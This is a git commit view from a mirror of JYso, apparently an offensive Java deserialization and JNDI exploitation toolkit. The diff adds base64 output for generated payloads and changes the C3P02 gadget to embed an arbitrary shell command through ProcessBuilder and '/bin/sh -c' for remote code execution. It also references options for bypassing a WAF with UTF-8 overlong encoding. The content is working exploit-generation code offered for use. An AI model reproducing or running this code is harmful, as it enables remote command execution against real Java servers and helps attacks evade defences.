archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-23 15:21:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

base64编码输出Payload

Browse Source
This commit is contained in:
qi4L
2024-08-13 18:43:58 +08:00
parent 993a923828
commit 4bcce8789f
12 changed files with 51 additions and 12 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/jndi/controllers/ysoserial.java
+8 -1
View File
@@ -9,6 +9,7 @@ import com.qi4l.jndi.gadgets.utils.StringUtil;
import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
@@ -19,7 +20,7 @@ import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static Object PAYLOAD = null;
public static void ysoserial(String[] args) {
final Options options = getOptions();
@@ -68,6 +69,10 @@ public class ysoserial {
Config.FILE = cmdLine.getOptionValue("file");
}
if (cmdLine.hasOption("base64")) {
Config.BASE64 = true;
}
if (cmdLine.hasOption("password")) {
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
@@ -172,6 +177,7 @@ public class ysoserial {
}
System.exit(0);
}
private static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
@@ -199,6 +205,7 @@ public class ysoserial {
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
options.addOption("he1", "Hessian1", false, "Hessian1 Output");
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
options.addOption("b64", "base64", false, "base64 encoding");
return options;
}
src/main/java/com/qi4l/jndi/gadgets/C3P02.java
+9
View File
@@ -18,6 +18,9 @@ import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import static com.qi4l.jndi.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass;
/**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@@ -27,6 +30,12 @@ import java.util.logging.Logger;
public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (command.startsWith("EX-") || command.startsWith("LF-")) {
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
} else {
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
}
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
src/main/java/com/qi4l/jndi/gadgets/Config/Config.java
+1
View File
@@ -94,6 +94,7 @@ public class Config {
// 将输入直接写在文件里
public static String FILE = "out.ser";
public static Boolean WRITE_FILE = false;
public static Boolean BASE64 = false;
// 是否强制使用 org.apache.XXX.TemplatesImpl
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java
+33 -11
View File
@@ -3,6 +3,7 @@ package com.qi4l.jndi.gadgets.utils;
import com.caucho.hessian.io.*;
import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
import java.util.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
@@ -36,25 +37,40 @@ public class Serializer implements Callable<byte[]> {
public static void qiserialize(Object obj, final OutputStream out) throws Exception {
ObjectOutputStream objOut = null;
AbstractHessianOutput AobjOut = null;
ByteArrayOutputStream outB64 = new ByteArrayOutputStream();
if (IS_DIRTY_IN_TC_RESET) {
objOut = new SuObjectOutputStream(out);
} else if (IS_UTF_Bypass) {
objOut = new UTF8OverlongObjectOutputStream(out);
if (IS_UTF_Bypass) {
if (BASE64) {
objOut = new UTF8OverlongObjectOutputStream(outB64);
} else {
objOut = new UTF8OverlongObjectOutputStream(out);
}
} else if (IS_Hessian1) {
AobjOut = new HessianOutput(out);
if (BASE64) {
AobjOut = new HessianOutput(outB64);
} else {
AobjOut = new HessianOutput(out);
}
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
AobjOut.setSerializerFactory(sf);
} else if (IS_Hessian2) {
AobjOut = new Hessian2Output(out);
if (BASE64) {
AobjOut = new Hessian2Output(outB64);
} else {
AobjOut = new Hessian2Output(out);
}
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
AobjOut.setSerializerFactory(sf);
AobjOut.writeObject(obj);
AobjOut.close();
}else {
objOut = new ObjectOutputStream(out);
} else {
if (BASE64) {
objOut = new SuObjectOutputStream(outB64);
} else {
objOut = new SuObjectOutputStream(out);
}
}
if (IS_Hessian1 || IS_Hessian2) {
@@ -62,6 +78,12 @@ public class Serializer implements Callable<byte[]> {
} else {
objOut.writeObject(obj);
}
if (BASE64) {
String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray());
System.out.println(encodedString);
}
}
public byte[] call() throws Exception {
@@ -96,7 +118,7 @@ public class Serializer implements Callable<byte[]> {
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
public com.caucho.hessian.io.Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
@@ -106,10 +128,10 @@ public class Serializer implements Callable<byte[]> {
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException {
public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException {
com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
if ( serializer instanceof WriteReplaceSerializer ) {
if (serializer instanceof WriteReplaceSerializer) {
return UnsafeSerializer.create(cl);
}
return serializer;